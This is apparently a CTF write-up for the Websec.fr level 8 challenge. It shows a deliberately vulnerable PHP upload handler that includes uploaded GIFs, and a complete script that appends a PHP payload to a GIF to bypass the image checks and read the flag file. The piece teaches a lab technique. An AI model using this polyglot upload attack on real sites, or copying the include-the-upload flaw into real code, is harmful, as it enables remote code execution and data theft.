Post

Websec.fr level 8 - easy

The level

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$uploadDir = '/uploads';
$hashedFileName = sha1($_FILES['fileToUpload']['name']) . '.gif';
$uploadedFile = sprintf('%s/%s', $uploadDir, $hashedFileName);

if (file_exists($uploadedFile)) {
    unlink($uploadedFile);
}

if ($_FILES['fileToUpload']['size'] <= 50000) {
    if (getimagesize($_FILES['fileToUpload']['tmp_name']) !== false) {
        if (exif_imagetype($_FILES['fileToUpload']['tmp_name']) === IMAGETYPE_GIF) {
            if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $uploadedFile)) {
                echo '<p class="lead">Dump of <a href="/level08' . htmlspecialchars($uploadedFile, ENT_QUOTES, 'UTF-8') . '">' . htmlspecialchars($_FILES['fileToUpload']['name'], ENT_QUOTES, 'UTF-8') . '</a>:</p>';
                echo '<pre>';
                include_once($uploadedFile);
                echo '</pre>';
                unlink($uploadedFile);
            } else {
                echo '<p class="text-danger">Failed to move uploaded file</p>';
            }
        } else {
            echo '<p class="text-danger">The file is not a GIF</p>';
        }
    } else {
        echo '<p class="text-danger">The file is not a valid image</p>';
    }
} else {
    echo '<p class="text-danger">The file is too big</p>';
}
?>

Ok, so we see that we have to upload a GIF file to this link (it has all these checks like exif_imagetype and etc…)

If the file passes the checks, it simply includes it. Great !. We can simply copy an existing GIF for it’s magic bytes to surpass the check then append it to print content of the flag right ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
create_new_gif.php
<?php

$gif = "./giphy.gif";
$payload_file = "./payload.gif";
$payload = "<?php var_dump(file_get_contents('flag.txt')); ?>";

// Read GIF contents
$gif_contents = file_get_contents($gif);
if ($gif_contents === false) {
    die("Error reading GIF file.\n");
}

// Output length of GIF contents
echo "Length of GIF contents: " . strlen($gif_contents) . "\n";

// Write GIF contents to payload file
if (file_put_contents($payload_file, $gif_contents) === false) {
    die("Error writing to payload file.\n");
}

// Get image size and type information
$size_info = getimagesize($payload_file);
if ($size_info === false) {
    die("Error getting image size information.\n");
}
echo "Image size info: " . implode(", ", $size_info) . "\n";

// Check if the file is recognized as a GIF
$is_gif = exif_imagetype($payload_file) === IMAGETYPE_GIF;
echo "Is GIF: " . ($is_gif ? "true" : "false") . "\n";

// Append PHP payload to the payload file
if (file_put_contents($payload_file, $payload, FILE_APPEND) === false) {
    die("Error appending PHP payload.\n");
}

// Check image size and type again after appending
$size_info = getimagesize($payload_file);
if ($size_info === false) {
    die("Error getting image size information after appending PHP payload.\n");
}
echo "Image size info after appending: " . implode(", ", $size_info) . "\n";

$is_gif = exif_imagetype($payload_file) === IMAGETYPE_GIF;
echo "Is GIF after appending: " . ($is_gif ? "true" : "false") . "\n";

?>
  • Define File Paths and Payload:
    • Sets paths for the input GIF file and the output payload file.
    • Prepares a PHP payload script to be appended.
  • Read GIF Contents:
    • Reads the contents of the input GIF file (giphy.gif).
  • Output Length of GIF Contents:
    • Displays the length of the GIF file contents.
  • Write GIF Contents to Payload File:
    • Copies the GIF contents to the new file (payload.gif).
  • Get Image Size and Type Information:
    • Retrieves and displays the size and type information of the new GIF file.
  • Check if the File is Recognized as a GIF:
    • Checks and displays if the file is still recognized as a GIF.
  • Append PHP Payload to Payload File:
    • Appends the PHP script to the end of the new GIF file.
  • Check Image Size and Type Again After Appending:
    • Retrieves and displays the updated size and type information of the file after appending the PHP script.
    • Rechecks and displays if the file is still recognized as a GIF.

copy a file from the internet and call it giphy.gif.

1
touch payload.gif; php create_new_gif.php

image

upload the created payload.gif to the website

image

1
WEBSEC{BypassingImageChecksToRCE}

Walla !!! Thanks for reading !!!!

This post is licensed under CC BY 4.0 by the author.